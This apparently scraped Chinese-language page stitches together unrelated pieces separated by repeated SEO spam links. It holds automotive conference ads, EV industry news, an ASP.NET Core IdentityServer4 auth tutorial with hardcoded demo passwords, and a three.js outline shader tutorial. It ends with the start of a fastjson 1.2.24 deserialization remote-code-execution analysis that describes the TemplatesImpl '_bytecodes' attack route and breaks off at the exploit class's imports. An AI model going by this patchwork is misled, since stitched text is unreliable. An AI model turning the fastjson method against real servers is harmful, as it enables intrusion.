第二屆上海-斯圖加特汽車及動力技術國際研討會2017

第二屆上海斯圖加特汽車及動力技術國際研討會2017

2017年10月26日-27日/ 中國·上海

 

在上海市及政府斯圖加特市政府的指導下,利用同濟大學和斯圖加特大學各自的學科優勢和研發成果,“2017上海-斯圖加特汽車及動力技術國際研討會”將於2017年10月26日-27日在上海召開。

 

大會以“汽車輕量化、智慧網聯、綠色汽車”為主題,將研討汽車整車設計和輕量化、智慧底盤與電驅動、環境感知技術、氫能與燃料電池、車用電源技術等,屆時全球400多位行業專家將集聚一堂,共同探討新能源汽車產業的前沿發展,共同建立聯繫,促進合作!

 

參會者可以以論文投稿的形式參與此次會議,論文審核組委會將負責從所有參會者所投稿件中遴選出品質較高的優秀學術論文,在會議當天進行學術性報告演講,並在同濟大學學報增刊(100%EI期刊檢索)上進行發表。

 

大會亮點:

3大論壇涉及9個主題內容專業豐富的會議

40篇論文,100%EI檢索

45位海內外權威發言嘉賓

400+知名行業人士蒞臨

 

我們期待與貴單位一起出席於2017年10月26日-27日在中國上海舉辦的上海-斯圖加特汽車及動力技術國際研討會,以利決策!

 

更多會議資訊,請登錄會議官方網站:http://www.sssaet.com/index_cn.htm

連絡人:Latika LIU(劉小姐)

電話:021-6093 0815

傳真:021-6047 5887

郵箱:

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

第二届中国国际智能网联汽车论坛2017-智能交通与智能汽车的协同发展

造全面感知新

汽车在无人驾驶的安全性超过有人驾驶的安全性之后,智能汽车发展将向智能交通发展。会使整个交通行业建立起全国交通一体化指挥网络,能使整个产业有一个大的发展。智能化交通网络还可以指挥、调度车辆,提高行车效率,减少路口堵车。这一切 都是在你行车之前将自己的行车起点和终点路线输入智能交通网络,车上装有各种高灵敏的传感器和计算机,车与卫星和地面站之间;车与车之间;经过大数据存储和云计算处理,通过数据交换指挥交通。

    在过去十届汽车论坛成功举办的基础上,由上海国际汽车城和希迈商务咨询(上海)有限公司主办,上海国际汽车城开发服务有限公司协办的第二届中国国际智能网联汽车论坛即将于2017年11月16-11月17日在上海隆重举行。本届论坛将会涉及智能交通板块,并从世界发达国家,国内交通部门,整车厂及供应商的不同角度来探讨智能交通与智能汽车的协同发展及其中的关键性技术。

 

    第二届中国国际智能网联汽车论坛将涉及三个论坛及交流晚宴。届时将诚邀全球范围内的整车制造商、零部件供应商、知名网络公司、智能网联核心技术提供商和政府官员近300位行业人士一起,对智能网联汽车发展面临的挑战、机遇与对策各方面进行为期两天更深层次并具有建设和战略性的探讨。

 

 

会议亮点:

Ø  丰富的内容:

3大论坛的深度解析

Ø  参会嘉宾:

300+高度满意的企业决策者,160+业内知名企业,40+国家和地区

Ø  演讲嘉宾:

30+世界新能源汽车行业知名发言嘉宾

Ø  会议形式:

3个论坛,2天会议,1个晚宴

 

会议结构:

我们期待与贵单位一起出席于1116-17日在上海举办的第二届中国国际智能网联汽车论坛2017,以利决策!

 

欲知更多会议详情,请登陆官方网站:,或者联系组委会:

Latika LIU(刘小姐)

电话:021-6093 0815

传真:021-6047 5887

邮箱:

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

看好電動車!LG電子擬砸2500萬美元、赴美建零件廠

看好電動車前景,LG電子23日宣布斥資2,500萬美元,要在美國興建電動車零件廠房。

The Investor、ET News報導,LG廠房將座落在底特律郊區Hazel Park,預定2018年初完工,一開始將為電動車供應電池組,未來還會提供更多關鍵零組件。

LG指出,去年美國的電動車合併銷售量為104,178台,跟中國(電動車銷售量為257,929台)、歐洲(108,649台)並列全球前三大電動車市場。

LG估計,至2020年為止,美國電動車市場每年平均可望成長65.5%。

這座廠房除了將供應通用汽車(GM)的電動車「Bolt」之外,也不排除向福特(Ford)、飛雅特克萊斯勒汽車(Fiat Chrysler Automobiles, FCA)爭取電動車零件訂單。

Electrek,福斯汽車(Volkswagen)研發部主管Ulrich Eichhorn 6月底就曾預估,業界需要多達40座規模跟特斯拉Gigafactory類似的超大電池廠,才能滿足電動車需求,假如新建礦場、工廠無法如期上線,那麼市場恐陷入短缺。

根據Eichhorn的估計,到了2025年,光是福斯集團就需要用到200 GWh的車用電池,至於其他汽車製造商,屆時也會有25%的產能屬於電動車。他是以Gigafactory的年產能可達35 GWh進行推估。

(本文內容由授權使用。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

搶進電動車市場,電容量提高的鎂電池也要分杯羹

 

雖然鋰離子電池在市場上的聲勢居高不下,但安全性太招人質疑,現在又有一款主打更便宜、更安全的新電池要跟電動車市場分一杯羹了。一款由休士頓大學研究團隊開發的新型鎂電池,標榜電容量比商用鋰離子電池高出2 倍。

鎂電池最大的缺點在於充、放電過程中,充電性能會迅速衰退,過去由於鎂電池一直難找到能存儲大量鎂離子的陰極材料,不光打破氯化鎂鍵只為儲存鎂離子是很困難的技術,以這種方式產生的鎂離子在電池內移動速度也緩慢,種種原因都會導致電池效率低下,大好前程因此遭阻擋。目前,鎂電池主要供軍事通信、氣象測候儀、海難救生設備、高空雷達儀等設備使用。

現在,休士頓大學電機電子工程學系副教授Yan Yao 團隊在《自然通訊》雜誌發表最新研究,他們設計了奈米結構的電池陰極,讓新型鎂電池大大增加4 倍存儲容量。早期鎂電池儲存容量為100mAh / g,相比之下新電池可達400mAh / g,而一般的商業鋰離子電池陰極容量則約200mAh / g。

新型鎂電池將氯化鎂注入二硫化鈦的陰極材料以儲存能量,由於保留氯化鎂鍵沒有破壞,與傳統鎂電池相比,離子擴散速度比傳統材料快許多。Yan Yao 說,保留氯化鎂鍵可使陰極儲存的電荷翻倍,不過由於氯化鎂分子較大,所以關鍵就在擴大陰極材料的開口,以便容納更多氯化鎂。

於是,研究人員動手將二硫化鈦材料的開口撐大了300 倍──雖然還是很小,從0.57 奈米增加到1.8 奈米,但這樣便足夠讓氯化鎂分子通過。大容量的氯化鎂鍵有優異速度和循環性能,也為多價離子電池的未來開闢更多可能性。

高壓鋰離子電池雖然還是鞏固自己的市占率,但其成本高、內部結構易發生破壞導致起火等潛在問題,都使其隨時可能被更便宜、更安全的鎂電池、鋅電池等篡位。

新款鎂電池的電壓在1 伏特左右(鋰離子電池的電壓3到4 伏特),它在一定程度上受電壓限制,但研究人員仍期盼鎂電池的新設計能應用在更有價值的領域。Yan Yao 說:「我們的最高宗旨就是以更低價格製造更高能量電池,特別是在電動汽車領域,要和其他電池一較高下。」

(合作媒體:。首圖為鹼性電池,圖片出處:public domain CC0)  

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

特斯拉將在9 月發表電動半掛卡車,充電後可行駛300 英里

馬斯克(Elon Musk)先前曾在推特表示,特斯拉將在9 月發表載貨用的全電動半掛卡車(Tesla Semi)原型,近期路透社報導披露了一些內容,讓有興趣的人能夠一窺其細節。

在馬斯克宣布要打造全電動重型卡車後,業界一直就對其負載量和續航力有所質疑,畢竟美國一些跑長途的柴油半掛卡車滿油續航力可以到達1,000 英里(約1,610 公里)左右,要能夠與之競爭還是有些困難。

 

Tesla Semi truck unveil set for September. Team has done an amazing job. Seriously next level.

— Elon Musk (@elonmusk)

 

如今答案揭曉了,特斯拉似乎沒有打算一開始就與這些超長程的卡車競爭。

邁阿密貨運公司Ryder System 今年稍早時曾與特斯拉進行技術討論,執行長Scott Perry 向路透社透露,Tesla Semi 是沒有臥鋪的日間車(day cab),續航里程約為200~300 英里(約322~483 公里),與一般長程重型卡車仍有著些許差距,但仍可以稱得上是長程卡車「入門款」。

對於半掛卡車的續航力,特斯拉並不願意做出評論,但它們先前確實曾經表示正在與潛在客戶直接合作,針對電動半掛卡車的開發需求進行交流。

雖然傳聞的Tesla Semi 原型似乎與一般柴油半掛卡車的續航力還有些許差距,但如果真的能夠順利做出並交付,還是有著一定的應用空間。數據分析公司Fleet Complete 策略總監Sandeep Kar 指出,從統計數據來看,美國約有30% 卡車的工作範圍是在100~200 英里之間(約161~322 公里)。

除此之外,相較汽柴油車的引擎,電動車的電動機維護需求較少,電力也比柴油更加的便宜,這些都很有可能吸引到希望降低排放量和營運成本的運輸公司。

但專家指出,對於橫跨各地的載運卡車來說,目前充電站仍不夠普及,而且需要的電池體積、重量將會擠壓到能夠附載的貨物空間。

Ryder System 和其客戶都認為,電動卡車的本體成本可能會比柴油車高出許多,但維護成本將會非常便宜,燃料成本也可以預測,在電池越來越便宜、環保監管越來越嚴格的情況下,電動卡車可能會逐漸出現增長。

(合作媒體:。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

北京推廣新能源車,擬大力新建公用充電樁

北京日報消息,北京城市管理委員會表示,已正式發文要求加強電動汽車充電基礎設施建設和管理,其中,新建停車場必須預留配建充電設施條件,全市機關單位內部停車場應含充電停車位,新建社區停車位須100%具有安裝充電樁條件。

資料顯示,截至今年7月底,北京市新能源汽車數量達14.14萬輛,全市已累計建成約9.75萬個充電樁,基本形成六環內平均服務半徑5公里的公用充電網,其中,個人自用樁約6.87萬個,配建比約75%,商場商圈、交通樞紐等公共停車區域建成1,895處、約1.75萬個。

北京市城管委相關負責人表示,大力新建公用充電樁是破解新能源車推廣困難的重要工作之一,日前市政府已發佈《關於進一步加強電動汽車充電基礎設施建設和管理的實施意見》,首次對新建、既有建築的停車位配建充電設施作出了量化要求。

新規定將充電設施配建指標納入規劃設計規範,明確新建建築配建停車場及公共停車場中充電設施的建設比例或預留建設安裝條件。其中,辦公類建築不低於配建停車位的25%,商業類及公共停車場庫(含P+R停車場)不低於20%,居住類按照配建停車位的100%規劃建設,其他類公建如醫院、學校、文體設施等不低於15%規劃建設。

另外,新建社區100%規劃建設,係指每個停車位都要具備安裝條件,讓車主買車後就能直接裝充電樁,不用再申請改電增容。

同時,對於具備電源條件的既有辦公區、大型商場等公用停車場,新規要求必須配建不低於車位數量10%的公用充電樁。對於老舊社區住戶而言,購買電動車最難的關卡就是無法安裝充電樁,而此次頒佈的新規將充電設施建設納入北京市老舊社區綜合改造範圍內,引導物業公司、業主委員會積極支持和配合充電設施建設。

此次新規也提出,北京全市各級機關、企事業單位內部停車場都要配建公用充電設施。按規定,北京市各級公共機構(包括各級政府機關、事業單位、社會組織)和國有企業新建內部停車場,充電樁數量應不低於車位數的25%,或預留建設安裝條件。

(本文內容由授權使用。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

中國電動車商機夯!日產攜東風研發低價車款、2019年生產

雷諾與日產聯盟29日發布新聞稿宣布,將和東風汽車集團於中國設立一家新合資公司、攜手研發電動車,期望藉由最大限度活用雷諾、日產以及東風的核心競爭力,滿足中國市場需求。該家合資公司名為「eGT New Energy Automotive Co., Ltd.」,東風、日產、雷諾出資比重分別為50%、25%、25%。

eGT將設於中國湖北省十堰市,所研發的電動車預估將透過同樣位於十堰市的東風汽車的工廠(年產能12萬台)進行生產,開始生產時間預計在2019年。

日經新聞指出,eGT主要將研發需求走揚的低價電動車車款,日產期望藉由加強與東風之間的合作,維持電動車領域的優勢。

據中國汽車工業協會(CAAM)指出,中國已成為全球最大純電動車市場,2016年中國B電動車銷售量暴增121%至25萬6,879台,2017年1到7月期間中國純電動車產量較去年同期大增37.8%至22萬3,000台、銷售量大增33.6%至20萬4,000台。

日產會長Carlos Ghosn在6月27日舉行的股東會上表示,「日產在電動車界居領導位置。日產電動車累計銷售量超過60萬台、為美國特斯拉(Tesla)的2倍」。

日本市調機構富士經濟(Fuji Keizai)6月22日公布銷售動向報告指出,電動車在2025年以後需求將急速增加,預估2030年時電動車年銷售量將增至407萬台、超越油電混合車(2030年銷售量預估為391萬台),且之後雙方的差距將持續擴大。在中國需求增加加持下,2035年電動車全球銷售量將擴大至630萬台、將達2016年的13.4倍(較2016年增加12.4倍)。

(本文內容由授權使用。圖片出處: CC3.0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

Asp.net Core 系列之–5.認證、授權與自定義權限的實現

ChuanGoing 2019-11-24

  asp.net core系列已經來到了第五篇,通過之前的基礎介紹,我們了解了整個流程,實現,並且簡單的介紹了實現,結合上一篇的和本篇將要介紹的權限,大致的可以形成一個簡單的後端系統架構。當然這些都是零散的一些技術概念的介紹,後面如果有時間的話,我想詳細的介紹下如何利用領域驅動來實現一個實際案例。

話不多講,下面來看下本篇的學習曲線:

1.認識Identityserver4

2.Identityserver4實現認證與授權

3.自定義權限的實現

認識Identityserver4

  關於Identityserver4(ids4)的概念介紹,請查看一文。我這裏要說的是,asp.net core 下的ids4集成了認證與授權兩大功能,使得我們非常方便的實現一個開放的認證與授權平台,比如公司內部多個系統的集成登錄(單點登錄)/第三方系統數據共享/統一的認證中心等。整個業務流程大致為:

1.用戶首先的有用戶中心的賬號信息,因此需要註冊一個賬號

2.用戶訪問某個站點應用,需要去到用戶中心認證

3.認證通過,用戶得到其在用戶中心註冊的相應信息及其權限時限、範圍、大小

4.認證不通過,即非法用戶,提示用戶註冊

5.在第3步的前提下,若用戶訪問到另一個站點(採用同一認證平台),這時用戶可以用之前認證通過後拿到的訪問令牌訪問此站點,若此令牌中包含此站點的相應權限即可之前登錄。

Identityserver4實現認證與授權

首先,新建一個asp.net core web 空項目,並且添加如下IdentityServer4 Nuget包

在ConfigureServices添加如下代碼

註冊IdentityServer中間件,如下5個配置分別表示:

1.AddDeveloperSigningCredential:開發模式下的簽名證書,開發環境啟用即可

2.AddInMemoryApiResources:相關資源配置

public static IEnumerable<ApiResource> GetApiResources()
        {
            return new List<ApiResource>
            {
                new ApiResource("WebApi", "ChuanGoingWebApi"),
                new ApiResource("ProductApi", "ChuanGoingWebProduct")
            };
        }

GetApiResources

這裏配置了兩個Api資源

3.AddInMemoryIdentityResources:OpenID Connect相關認證信息配置

 public static IEnumerable<IdentityResource> GetIdentityResources()
        {
            return new List<IdentityResource>
            {
                new IdentityResources.OpenId(),
                new IdentityResources.Profile()
            };
        }

GetIdentityResources

4.AddInMemoryClients:客戶端信息配置

 public static IEnumerable<Client> GetClients(IConfiguration Configuration)
        {
            var OnlineConfig = Configuration.GetSection("OnlineClient");
            var List = new List<Client>
            {
                new Client()
                {
                    ClientId = "ClientCredentials",
                    AllowedGrantTypes = GrantTypes.ClientCredentials,
                    ClientSecrets = { new Secret("ClientSecret".Sha256()) },
                    AllowedScopes =
                    {
                        IdentityServerConstants.StandardScopes.OpenId,
                        IdentityServerConstants.StandardScopes.Profile,
                        "WebApi",
                        "ProductApi"
                    },
                    AccessTokenLifetime = 10 * 60 * 1
                },

                new Client()
                {
                    ClientId = "ResourceOwnerPassword",
                    AllowedGrantTypes = GrantTypes.ResourceOwnerPassword,
                    ClientSecrets = { new Secret("ClientSecret".Sha256()) },
                    AllowedScopes =
                    {
                        IdentityServerConstants.StandardScopes.OpenId,
                        IdentityServerConstants.StandardScopes.Profile,
                        "WebApi",
                        "ProductApi"
                    },
                    AccessTokenLifetime = 10 * 60 * 1
                },
                  /*
                  隱式模式:https://localhost:6005/connect/authorize?client_id=Implicit&redirect_uri=http://localhost:5000/Home&response_type=token&scope=WebApi
                  */
                new Client()
                {
                    ClientId = "Implicit",
                    ClientName = "ImplicitClient",
                    AllowedGrantTypes = GrantTypes.Implicit,
                    ClientSecrets = { new Secret("ImplicitSecret".Sha256()) },
                    RedirectUris ={OnlineConfig.GetValue<string>("RedirectUris") },
                    PostLogoutRedirectUris = {OnlineConfig.GetValue<string>("LogoutRedirectUris") },
                    AllowedScopes =
                    {
                        IdentityServerConstants.StandardScopes.OpenId,
                        IdentityServerConstants.StandardScopes.Profile,
                        "WebApi",
                        "ProductApi"
                    },
                    AccessTokenLifetime = 10 * 60 * 1,
                    //允許將token通過瀏覽器傳遞
                     AllowAccessTokensViaBrowser=true
                },
                /*
                 * 授權碼模式:https://localhost:6005/connect/authorize?client_id=GrantCode&redirect_uri=http://localhost:5000/Home&response_type=code&scope=WebApi
                 */
                new Client()
                {
                   //客戶端Id
                    ClientId="GrantCode",
                    ClientName="GrantCodeClient",
                    //客戶端密碼
                    ClientSecrets={new Secret("CodeSecret".Sha256()) },
                    //客戶端授權類型,Code:授權碼模式
                    AllowedGrantTypes=GrantTypes.Code,
                    //允許登錄后重定向的地址列表,可以有多個
                     RedirectUris ={OnlineConfig.GetValue<string>("RedirectUris") }, 
                    //允許訪問的資源
                    AllowedScopes={
                        "WebApi",
                        "ProductApi"
                    }
                }
            };
            return List;
        }

GetClients

分別對象Auth2.0的四種模式,本篇將用到的是ResourceOwnerPassword模式,其他幾種可在篇尾github鏈接查看源碼的實現

5.AddTestUsers:用戶配置,可結合緩存/持久化

public static List<TestUser> GetUsers()
        {
            return new List<TestUser>
            {
                new TestUser
                {
                    SubjectId = Guid.NewGuid().ToString(),
                    Username = "admin",
                    Password = "123456"

                    //Claims = new List<Claim>
                    //{
                    //    new Claim("name", "admin"),
                    //    new Claim("website", "https://www.cnblogs.com/chuangoing")
                    //}
                },
                new TestUser
                {
                    SubjectId = Guid.NewGuid().ToString(),
                    Username = "chuangoing",
                    Password = "123456"

                    //Claims = new List<Claim>
                    //{
                    //    new Claim("name", "chuangoing"),
                    //    new Claim("website", "https://github.com/chuangoing")
                    //}
                }
            };
        }

GetUsers

 定義兩個測試用戶,注意這裏的SubjectId,用作用戶中心註冊的openid(認證唯一),後面將會用到

然後,Configure中添加app.UseIdentityServer();//啟用ids4

至此,ids4 服務完成

用postman測試下:

 

返回jwt accesstoken:

 

 

將token內容解碼,如下:

 

 可以看到,裡面包含我們配置的ProductApi/WebApi的權限

將token信息加入到http的header中:

 

  注意Bearer後面有個空格,訪問order的獲取訂單信息:

 

 

 自定義權限的實現

  這裏,我們將api中的action分別定義一個權限代碼,用戶擁有了此action訪問權限(擁有此權限代碼)即可訪問,簡單實現如下:

1.定義權限特性標識,api的action指定某個標識

public class PermissionAttribute : Attribute
    {
        /// <summary>
        /// 權限代碼
        /// </summary>
        public string Code { get; }
        /// <summary>
        /// 
        /// </summary>
        /// <param name="code">權限代碼</param>
        public PermissionAttribute(string code)
        {
            Code = code;
        }
    }

PermissionAttribute

 

 此處,get action定義了訪問權限標識為”XYZ”

同樣,我們這裏需要用到一個權限過濾器,利用過濾器的Aop實現權限過濾業務處理:

 public class PermissionFilter : ActionFilterAttribute
    {
        public override void OnActionExecuting(ActionExecutingContext context)
        {
            var user = context.HttpContext.User;
            if (user.Identity.IsAuthenticated)
            {
                //TODO:用戶自定義權限驗證
                Guid userId = context.HttpContext.GetId();
                bool right;
                #region 自定義權限驗證
                //根據userId判斷用戶內部系統權限信息

                //var userPermissions = repo.GetUserPermissions(userId);
                //var permissions = repo.GetPermissions();
                var metas = context.ActionDescriptor.EndpointMetadata;
                foreach (var meta in metas)
                {
                    if (meta is PermissionAttribute permission)
                    {
                        //if (!permissions.Any(p => permission.Code.Any(c => c == p.Code))
                        //    && !userPermissions.Any(p => permission.Code.Any(c => c == p.Code)))
                        //{
                        //    throw new WebException(HttpStatusCode.Forbidden, MessageCodes.AccessDenied, "你沒有訪問該資源的權限");
                        //}
                        //break;
                    }
                }

                right = false;
                #endregion
                if (!right)
                {
                    context.Result = new ContentResult() { StatusCode = (int)HttpStatusCode.Forbidden, Content = "你沒有訪問該資源的權限" };
                }

            }
        }

PermissionFilter

同時,啟用權限過濾器配置

 

 

部分代碼略過,詳細的請查看篇尾的源碼鏈接

利用第二節的認證授權得到的token,我們用postman測試下:

 

過濾器切面成功工作

 

 

 還記得第一節說的SubjectId么?這裏利用這個openid,去內部系統去匹配相關用戶信息,相關業務就不深入了,有興趣的朋友可以下載示例完善下

 

 至此,整個權限認證、授權、自定義權限介紹完。

WebApi詳細代碼在Github的 的Domain分支可以找到,AuthServer詳細代碼在中。

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

three.js使用卷積法實現物體描邊效果

法線延展法

網上使用法線延展法實現物體描邊效果的文章比較多,這裏不再描述。

但是這種方法有個缺點:當兩個面的法線夾角差別較大時,兩個面的描邊無法完美連接。如下圖所示:

 

 

 卷積法

這裏使用另一種方法卷積法實現物體描邊效果,一般機器學習使用該方法比較多。先看效果圖:

    

 

 

使用three.js具體的實現方法如下:

  1. 創建着色器材質,隱藏不需要描邊的物體進行渲染,將需要描邊的位置渲染成白色,其他位置渲染成黑色。
  2. 利用片源着色器計算卷積,白色是物體內部,黑色是物體外部,灰色是邊框。
  3. 設置材質透明、不融合,將邊框疊加到原圖上,可以使用FXAA抗鋸齒。

這三步就可以實現了,很簡單吧。下面我們將詳細介紹實現方法,不想看的可以直接去看完整實現代碼:

完整代碼: 

詳細的實現過程:

1. 使用three.js正常繪製場景,得到下圖,這裏不介紹了。

 

 

2. 創建着色器材質,隱藏所有不需要描邊的物體。將需要描邊的物體繪製成白色,其他地方繪製成黑色。

隱藏不需要描邊的物體后,將整個場景材質替換。

renderScene.overrideMaterial = this.maskMaterial;

着色器材質:

const maskMaterial = new THREE.ShaderMaterial({
    vertexShader: MaskVertex,
    fragmentShader: MaskFragment,
    depthTest: false
});

MaskVertex:

void main() {
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
}

MaskFragment:

void main() {
    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
}

效果圖:

 

 

 

3. 創建着色器材質進行卷積計算,每四個像素顏色求平均值得到一個像素。描邊物體內部是白色,外部是黑色,物體邊緣處會得到灰色。灰色就是我們所需的邊框。

const edgeMaterial = new THREE.ShaderMaterial({
    vertexShader: EdgeVertex,
    fragmentShader: EdgeFragment,
    uniforms: {
        maskTexture: {
            value: this.maskBuffer.texture
        },
        texSize: {
            value: new THREE.Vector2(width, height)
        },
        color: {
            value: selectedColor
        },
        thickness: {
            type: 'f',
            value: 4
        },
        transparent: true
    },
    depthTest: false
});

其中texSize是計算卷積的canvas寬度和高度,為了讓邊框更平滑,可以設置為原來canvas的兩倍。color是邊框顏色,thickness是邊框粗細。 注意,要將材質transparent設置為true。 EdgeVertex:

varying vec2 vUv;

void main() {
    vUv = uv;
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
}

EdgeFragment:

uniform sampler2D maskTexture;
uniform vec2 texSize;
uniform vec3 color;
uniform float thickness;

varying vec2 vUv;

void main() {
    vec2 invSize = thickness / texSize;
    vec4 uvOffset = vec4(1.0, 0.0, 0.0, 1.0) * vec4(invSize, invSize);

    vec4 c1 = texture2D( maskTexture, vUv + uvOffset.xy);
    vec4 c2 = texture2D( maskTexture, vUv - uvOffset.xy);
    vec4 c3 = texture2D( maskTexture, vUv + uvOffset.yw);
    vec4 c4 = texture2D( maskTexture, vUv - uvOffset.yw);
    
    float diff1 = (c1.r - c2.r)*0.5;
    float diff2 = (c3.r - c4.r)*0.5;
    
    float d = length(vec2(diff1, diff2));
    gl_FragColor = d > 0.0 ? vec4(color, 1.0) : vec4(0.0, 0.0, 0.0, 0.0);
}

效果圖:

4. 創建着色器材質,將邊框疊加到原來的圖片上。由於FXAA比較複雜,這裏使用簡單的疊加方法。

着色器材質:

const copyMaterial = new THREE.ShaderMaterial({
    vertexShader: CopyVertexShader,
    fragmentShader: CopyFragmentShader,
    uniforms: {
        tDiffuse: {
            value: edgeBuffer.texture
        },
        resolution: {
            value: new THREE.Vector2(1 / width, 1 / height)
        }
    },
    transparent: true,
    depthTest: false
});

注意,transparent要設置為true,否則會把原來的圖片覆蓋掉。

CopyVertexShader:

varying vec2 vUv;

void main() {
    vUv = uv;
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
}

CopyFragmentShader:

uniform float opacity;

uniform sampler2D tDiffuse;

varying vec2 vUv;

void main() {
    vec4 texel = texture2D( tDiffuse, vUv );
    gl_FragColor = opacity * texel;
}

得到最終效果圖:

 

參考資料:

1. 描邊實現完整代碼:

2. 基於three.js的開源三維場景編輯器:

3. three.js後期處理描邊:

4. 卷積工作原理:

5. 法線延展法實現物體描邊:

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

fastjson 1.2.24反序列化導致任意命令執行漏洞分析記錄

環境搭建:

漏洞影響版本:

fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞

環境地址:

正常訪問頁面返回hello,world~

 

此時抓包修改content-type為json格式,並post payload,即可執行rce

 此時就能夠創建success文件

前置知識:

研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

這裏user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,

可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象

漏洞分析:

這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那麼這個類的構造函數是我們可控的,就能夠rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
